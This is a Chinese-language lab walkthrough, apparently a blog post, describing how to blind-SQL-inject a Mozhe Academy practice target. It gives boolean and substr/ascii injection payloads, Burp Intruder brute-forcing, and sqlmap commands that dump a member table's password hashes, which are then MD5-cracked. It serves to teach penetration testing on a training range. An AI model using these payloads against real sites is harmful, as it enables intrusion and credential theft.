墨者学院

您所在的位置:网站首页 sql手工注入详细教程图片 墨者学院

墨者学院

2023-10-27 15:24| 来源: 网络整理| 查看: 265

2020年8月25日,第五次渗透测试。 通过对sql语句进行注入,数据库的库名,表名,字段进步爆破,最终获得key。

准备需求: 1.windows系统pc 2.2.burpsuite(bp)抓包软件 3.sqlmap sql 数据库的爆破工具

1.进入靶场 红框为靶场入口 在这里插入图片描述 进入以后我们看地址栏,结尾为php?id=1,大部分以id=XX结尾的网页都存在sql注入漏洞,所以我们来验证一下这是否是一个存在sql漏洞的网页。 在这里插入图片描述 2.在地址栏后面加上and 1=1,然后回车,网页可以正常打开,而当我们输入1=2时,网页没有信息显示,这证明这网页确实存在一个sql注入漏洞。 在这里插入图片描述 在这里插入图片描述 这是一个最简单的验证方法。原理是地址输入栏就相等于页面与数据库的一个接口,我们在地址栏上打上sql语句就等同于在sql数据库后台写入相等的sql语句,我们知道sql数据库也可以进行运算,当运算到1=1是一个true的结果,则语句会正常执行,而当1=2运算出来是一个false,则语句就会出现错误,执行失败,因此页面返回来的就是空白。 小干货:做sql,xss等页面的注入时,推荐使用火狐浏览器,因为其他浏览器当输入and 1=1时,空格会自动变成20%,而火狐不会,这有助于我们方便修改注入。 下面是【搜狗浏览器】 在这里插入图片描述 下面是【火狐浏览器】 在这里插入图片描述 3.我们确认了网页存在sql漏洞后,我们就可以进行sql语句注入的操作,通过注入分析,知道数据库的长度,数据库名称,表名,字段名等信息,这些信息都对我们彻底攻破数据库起重要作用。

判断库名的长度 再后面加上/new_list.php?id=1 and length(database())=1,内容显示空白,我们把1改为2,以此类推,当 length(database())=10的时候,页面就会正常显示,则表明,库名的长度为10. 在这里插入图片描述 在这里插入图片描述 4.库名爆破(两种方法) 方法一:通过bp软件,对库名进行爆破。 (1)首先在地址栏后面加上/new_list.php?id=1 and substr(database(),1,1)=‘b’ --+,然后开启bp的代理拦截,回车。我们打开bp界面,把拦截的数据发送给Intruder。 在这里插入图片描述 然后我们切换到爆破模块,在’b’处【添加§】,接着加入有效负荷选项,A-Z和a-z。在这里插入图片描述 在这里插入图片描述 点击开始攻击 在这里插入图片描述 然后查看请求结果,看他们的长,如果某个有效负荷的值偏大,那么库名的第一位就是此字母。 因此库名的第一位是‘s’ 在这里插入图片描述 (2)爆破第二位,我们需要把(database(),1,1)改为(database(),2,1)。 在这里插入图片描述 再进行攻击,查看请求结果,得出库名第二位为t,往后的以此类推。 在这里插入图片描述 最后得出完整库名为 stormgroup

往后还可以通过bp爆表名,字段,字段内容,数据等,但过程过于繁琐没有做到,有空可能会更新上。有兴趣可以自己尝试,大概方法和爆库名如出一致。 爆表名: /new_list.php?id=1 and substr((select table_name from information_schema.tables where table_schema=‘stormgroup’ limit 0,1),1,1))=‘m’ --+

爆字段: /new_list.php?id=1 and length((select column_name from information_schema.columns where table_name=‘member’ and table_schema=‘stormgroup’ limit 0,1))=4 --+

爆字段内容: /new_list.php?id=1 and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))=109

方法二:通过sqlmap软件,对库名进行爆破。 此方法运用到sqlmap工具,此工具是专门用来爆破说起来数据库的,方便,快捷,而且输入格式简单。相比用一个一个字母去爆破,省时省力。 (1)先打开sqlmap,输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” --dbs,然后系统会自动爆破库名。 红框处就是爆破出来的所有库名,其中stormgroup便是我们之前得出的库名。

注意:每次开启靶场的端口号都不一样,记得 修改端口号!!!修改端口号!!!修改端口号!!! 别像我一样吃了大亏 在这里插入图片描述 在这里插入图片描述 (2)知道库名后我们开始爆破表名。 在sqlmao输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” -D stormgroup --tables 在这里插入图片描述 在这里插入图片描述 (3)爆破表字段 在sqlmao输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” -D stormgroup -T member --columns 在这里插入图片描述 在这里插入图片描述 (4)最后爆值,既是密码 在sqlmap输入sqlmap.py -u “http://219.153.49.228:40668/new_list.php?id=1” --dump -C password -T member -D stormgroup 在这里插入图片描述 最后网上破解MD5密码,得到明文密码(选取第二个密码)

MD5密码将不同位数的数字,字符,字母通过算法转化成一定位数的密文,此密文无法逆向验算,即密文无法通过一定算法逆向推到成原明文。MD5加密看是很安全,但是仍然有缺陷,既是同样明文验算出来的密文是一定的,例如用MD5加密123456,则无论试多少次,123456加密出来的结果都是相同的。所以,我们可以制作一本字典,把所有数字,字母的组合方式和对应的MD5码对应在一起,当你要破解时只要找到在字典中相同的MD5码,再对应上明文,这样就破解出来了,所以MD5码实则并不安全,放在网上分分钟被破解。 在这里插入图片描述 然后登陆,就得到key,提交,完成 在这里插入图片描述 这实验看似难,但其实也很简单。此靶场为了实验需求,因此安全防御不够,但在现实中,漏洞是不容易发现的,而已也不容易进行注入,大多都会对接口进行掩饰,或是有敏感字符的检测,所以在现实中攻击和黑入一个网站并不容易。 当然靶场更多的是让我们了解和熟悉攻击和黑入的过程,原理,而我们也不要在公网网站上进行渗透,即使是一个完全没有安全防御的网站也不可,因为这违法,并且非法入侵做了不当操作,会对他人或企业造成影响。

最后附上sqlmap的操作输入格式: 在这里插入图片描述 也简单介绍下sqlmap,sqlmap要在python2的环境下运行,所以首先要安装python2,配置好环境才能使用sqlmap,至于安装和下载步骤,网上一抓一大把,我也不多说。至于本人用的是网友制作的一个免python版的sqlmap。因为自己也在学python3,如果同时下载2会麻烦,所以直接下了个免python版的,有兴趣的可以百度找找。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3